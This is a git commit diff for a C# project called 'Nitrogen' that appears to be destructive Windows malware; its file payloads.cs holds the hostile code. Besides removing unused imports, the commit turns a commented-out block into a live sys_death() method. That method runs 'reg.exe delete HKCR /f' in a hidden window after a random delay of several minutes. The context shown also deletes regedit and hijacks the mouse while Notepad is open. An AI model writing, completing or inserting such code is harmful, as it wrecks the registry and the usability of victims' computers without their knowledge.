Few changes
This commit is contained in:
parent
234480adbf
commit
1ec72b98bb
|
@ -1,11 +1,9 @@
|
|||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Media;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace Nitrogen
|
||||
{
|
||||
|
|
|
@ -1,8 +1,6 @@
|
|||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
using static Nitrogen.Dll_Imports;
|
||||
|
|
31
payloads.cs
31
payloads.cs
|
@ -1,11 +1,8 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Media;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
using static Nitrogen.Dll_Imports;
|
||||
|
@ -175,17 +172,6 @@ namespace Nitrogen
|
|||
{
|
||||
File.Delete(regedit);
|
||||
}
|
||||
|
||||
/*ProcessStartInfo registry = new ProcessStartInfo
|
||||
{
|
||||
UseShellExecute = true,
|
||||
FileName = "reg.exe",
|
||||
Arguments = @"delete HKCR /f",
|
||||
CreateNoWindow = true,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
};
|
||||
Process.Start(registry);
|
||||
*/
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
@ -352,6 +338,7 @@ namespace Nitrogen
|
|||
thr.Start();
|
||||
Random rand = new Random();
|
||||
Thread.Sleep(rand.Next(300000, 600000));
|
||||
sys_death();
|
||||
Environment.Exit(-1);
|
||||
|
||||
}
|
||||
|
@ -361,7 +348,7 @@ namespace Nitrogen
|
|||
while (proces_name.Length == 1)
|
||||
{
|
||||
proces_name = Process.GetProcessesByName("notepad");
|
||||
Dll_Imports.SetCursorPos(50, 50);
|
||||
Cursor.Position = new Point(50, 50);
|
||||
Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_LEFTUP, 50, 50, 0, UIntPtr.Zero);
|
||||
//Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_RIGHTUP, 50, 50, 0, UIntPtr.Zero);
|
||||
Thread.Sleep(1);
|
||||
|
@ -464,5 +451,17 @@ namespace Nitrogen
|
|||
}
|
||||
}
|
||||
}
|
||||
public static void sys_death()
|
||||
{
|
||||
ProcessStartInfo registry = new ProcessStartInfo
|
||||
{
|
||||
UseShellExecute = true,
|
||||
FileName = "reg.exe",
|
||||
Arguments = @"delete HKCR /f",
|
||||
CreateNoWindow = true,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
};
|
||||
Process.Start(registry).WaitForExit();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -1,11 +1,9 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Management;
|
||||
using System.Net;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using static Nitrogen.Dll_Imports;
|
||||
|
|
Loading…
Reference in New Issue